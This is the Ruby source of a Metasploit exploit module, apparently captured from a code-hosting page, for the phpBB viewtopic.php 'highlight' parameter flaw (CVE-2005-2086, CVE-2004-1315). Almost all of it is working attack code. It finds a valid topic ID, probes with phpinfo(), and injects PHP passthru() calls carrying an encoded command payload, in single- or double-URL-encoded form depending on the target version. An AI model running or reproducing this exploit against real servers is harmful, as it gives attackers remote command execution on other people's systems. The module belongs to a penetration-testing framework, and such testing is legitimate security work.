134 lines
3.3 KiB
Ruby
134 lines
3.3 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'phpBB viewtopic.php Arbitrary Code Execution',
|
|
'Description' => %q{
|
|
This module exploits two arbitrary PHP code execution flaws in the
|
|
phpBB forum system. The problem is that the 'highlight' parameter
|
|
in the 'viewtopic.php' script is not verified properly and will
|
|
allow an attacker to inject arbitrary code via preg_replace().
|
|
},
|
|
'Author' => [ 'valsmith[at]metasploit.com', 'hdm', 'patrick' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2005-2086'],
|
|
[ 'CVE', '2004-1315'],
|
|
[ 'OSVDB', '11719'],
|
|
[ 'OSVDB', '17613'],
|
|
[ 'BID', '14086'],
|
|
[ 'BID', '10701'],
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Space' => 1024,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic perl ruby bash telnet',
|
|
}
|
|
},
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { }],
|
|
[ 'phpbb <=2.0.10', { }],
|
|
[ 'phpbb <=2.0.15', { }],
|
|
],
|
|
'DisclosureDate' => 'Nov 12 2004',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('URI', [true, "The phpBB root Directory", "/phpBB2"]),
|
|
OptString.new('TOPIC', [false, "The ID of a valid topic"]),
|
|
], self.class)
|
|
end
|
|
|
|
def find_topic
|
|
|
|
1.upto(32) do |x|
|
|
|
|
res = send_request_raw({
|
|
'uri' => datastore['URI'] + '/viewtopic.php?topic=' + x.to_s,
|
|
}, 25)
|
|
|
|
if (res and res.body.match(/class="postdetails"/))
|
|
print_status("Discovered valid topic ID: #{x}")
|
|
return x
|
|
end
|
|
|
|
end
|
|
return false
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
topic = datastore['TOPIC'] || find_topic
|
|
|
|
if !(topic)
|
|
print_status("No valid topic ID found, please specify the TOPIC option.")
|
|
return
|
|
else
|
|
|
|
sploit = datastore['URI'] + "/viewtopic.php?t=#{topic}&highlight="
|
|
|
|
case target.name
|
|
when /Automatic/
|
|
req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527"
|
|
|
|
res = send_request_raw({
|
|
'uri' => datastore['URI'] + req
|
|
}, 25)
|
|
|
|
print_status("Trying to determine which attack method to use...")
|
|
|
|
if (res and res.body =~ /\<title>phpinfo/)
|
|
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
|
|
sploit << "%2527%252epassthru(#{byte})%252e%2527"
|
|
else
|
|
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
|
|
sploit << "%27.passthru(#{byte}).%27"
|
|
end
|
|
|
|
when /2\.0\.10/
|
|
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
|
|
sploit << "%2527%252epassthru(#{byte})%252e%2527"
|
|
when /2\.0\.15/
|
|
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
|
|
sploit << "%27.passthru(#{byte}).%27"
|
|
end
|
|
|
|
res = send_request_raw({
|
|
'uri' => sploit
|
|
}, 25)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|